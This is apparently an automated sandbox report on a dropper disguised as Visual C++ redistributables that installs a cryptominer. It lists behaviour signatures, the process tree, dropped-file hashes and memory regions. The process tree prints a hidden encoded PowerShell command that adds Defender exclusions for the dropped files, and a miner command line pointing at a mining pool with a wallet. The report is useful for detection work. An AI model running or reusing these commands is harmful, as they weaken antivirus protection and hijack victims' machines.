Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-01-2025 21:03

General

  • Target

    72d7f2c25d9368c8e60be5aea600336106be8ed587176c2d9be66ae059a700d0.exe

  • Size

    3.2MB

  • MD5

    ef95037bc2bc262ebf19f6d0e32989aa

  • SHA1

    3758acfc8f32db765d3bed155293c10e9f2d563c

  • SHA256

    72d7f2c25d9368c8e60be5aea600336106be8ed587176c2d9be66ae059a700d0

  • SHA512

    da21c049dc5f7397c32e62b03e49c72933fe9ad16c90fb85d5dc12ad5b3e5ca08068096fb8d1befdbbfb92137cea1a852f6cdecac7ab77906d6a62b28e26631b

  • SSDEEP

    49152:ZsvZqioD6MlKCXijBNt9BlXMJq7FSFG+85whW7QMt9XoayEIu3tyws:ZshoDVKCXidDDpRSFG+fhWM6CoIudBs

Malware Config

Signatures

  • Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 2 IoCs
  • Embeds OpenSSL 1 IoCs

    Embeds OpenSSL, may be used to circumvent TLS interception.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\72d7f2c25d9368c8e60be5aea600336106be8ed587176c2d9be66ae059a700d0.exe
    "C:\Users\Admin\AppData\Local\Temp\72d7f2c25d9368c8e60be5aea600336106be8ed587176c2d9be66ae059a700d0.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4444
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4924
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe"
      2⤵
      • Enumerates VirtualBox registry keys
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:2560
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2560 -s 792
        3⤵
        • Program crash
        PID:3884
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBzAEYAaQB4AGUAZABTAGkAegBlAFwAVAB5AHAAZQBJAGQALgBlAHgAZQAsAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcACAALQBGAG8AcgBjAGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABJAHMARgBpAHgAZQBkAFMAaQB6AGUAXABUAHkAcABlAEkAZAAuAGUAeABlAA==
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3760
  • C:\Users\Admin\AppData\Roaming\IsFixedSize\TypeId.exe
    C:\Users\Admin\AppData\Roaming\IsFixedSize\TypeId.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3524
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3420
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u RVN:rSD9orXxAHU34odXRhL8dgpnB6dyJNzqU5.RIG_CPU -p x --cpu-max-threads-hint=50
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1112
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2560 -ip 2560
    1⤵
      PID:4228

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe

      Filesize

      628KB

      MD5

      ad0b3e8f6319b7fd1ead16ffe7f5be6b

      SHA1

      02ff5714aa418cf9a17eb9c17c0f02753746eac4

      SHA256

      f585688233737a15a893b0c8fb66f75bea8478e0fed11a9c72a28dd7d048ccdc

      SHA512

      d62c2f4a40aeed7c433b842768065b0f39496ab58e205ac008fb583e9b0018f851258ec675c8bca8cb96ced95bd568820a4bb2e9ff06c70ba7fde7b96db8f72a

    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe

      Filesize

      7.7MB

      MD5

      f6b28de198800179a0cedaf80a94d2bf

      SHA1

      d4ebd56bf9f0d09763b0dc7d5744833ba0a07af3

      SHA256

      a93027840829eabd77e96b893e7afdabf832702fb9e95b056a45809e448fec2f

      SHA512

      1c8cb16058d19a4fdd323e5736a55e1aa8d41b3cd6af0012c764b67dcb9af2a2527ec9b8a08cefc2749cba93e6ffd7bc967497b431e02dc3ba822e42e2fd929a

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lovhm4ga.r33.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3760-2633-0x000001D7309C0000-0x000001D7309E2000-memory.dmp

      Filesize

      136KB

    • memory/4924-49-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-67-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-41-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-44-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-81-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-79-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-77-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-75-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-73-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-72-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-69-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-65-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-63-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-61-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-59-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-39-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-55-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-53-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-17-0x00007FFF28EB0000-0x00007FFF29971000-memory.dmp

      Filesize

      10.8MB

    • memory/4924-47-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-2642-0x00007FFF28EB0000-0x00007FFF29971000-memory.dmp

      Filesize

      10.8MB

    • memory/4924-37-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-57-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-35-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-33-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-31-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-29-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-25-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-51-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-21-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-19-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-18-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-27-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-23-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-2622-0x000001EDE11F0000-0x000001EDE1246000-memory.dmp

      Filesize

      344KB

    • memory/4924-2623-0x000001EDE0FD0000-0x000001EDE101C000-memory.dmp

      Filesize

      304KB

    • memory/4924-2624-0x000001EDF9B50000-0x000001EDF9BA4000-memory.dmp

      Filesize

      336KB

    • memory/4924-2625-0x00007FFF28EB3000-0x00007FFF28EB5000-memory.dmp

      Filesize

      8KB

    • memory/4924-2626-0x00007FFF28EB0000-0x00007FFF29971000-memory.dmp

      Filesize

      10.8MB

    • memory/4924-16-0x000001EDF9950000-0x000001EDF9A48000-memory.dmp

      Filesize

      992KB

    • memory/4924-15-0x000001EDDF3C0000-0x000001EDDF462000-memory.dmp

      Filesize

      648KB

    • memory/4924-45-0x000001EDF9950000-0x000001EDF9A44000-memory.dmp

      Filesize

      976KB

    • memory/4924-14-0x00007FFF28EB3000-0x00007FFF28EB5000-memory.dmp

      Filesize

      8KB